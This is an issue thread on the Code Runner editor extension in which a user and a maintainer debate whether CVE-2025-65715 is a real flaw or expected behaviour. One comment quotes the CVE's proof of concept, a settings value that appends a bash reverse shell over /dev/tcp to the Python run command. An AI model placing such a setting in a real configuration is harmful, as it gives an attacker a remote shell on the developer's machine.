[Bug] CVE-2025-65715

[jincao1]

This CVE has been out for a while, are there any plans to update the extension and address this?

https://nvd.nist.gov/vuln/detail/CVE-2025-65715

[ericchase]

code runner is literally an extension that takes a user command and runs it in the shell. this is expected behavior. how would you suggest it be changed?

[ericchase]

We have developed a proof of concept demonstrating this vulnerability: by setting “code-runner.executorMap”: {“python”: “python $fileName && bash -i >& /dev/tcp// 0>&1”} and “code-runner.runInTerminal”: true, executing any Python file through Code Runner establishes a reverse shell connection to the attacker-controlled IP and port.

"please paste this malicious code into your configuration file, mr user"

[ericchase]

does that website offer suggestions or does it only report things?

[jincao1]

does that website offer suggestions or does it only report things?

I think it only reports vulnerabilities.

[ericchase]

there are indeed some concerning mentions; such as malicious extensions changing user settings. that would definitely be very bad, but i also think that is outside the scope of extension developer as far as security is concerned. but these are definitely security concerns of the development environment in general. i'm not sure how we could defend against it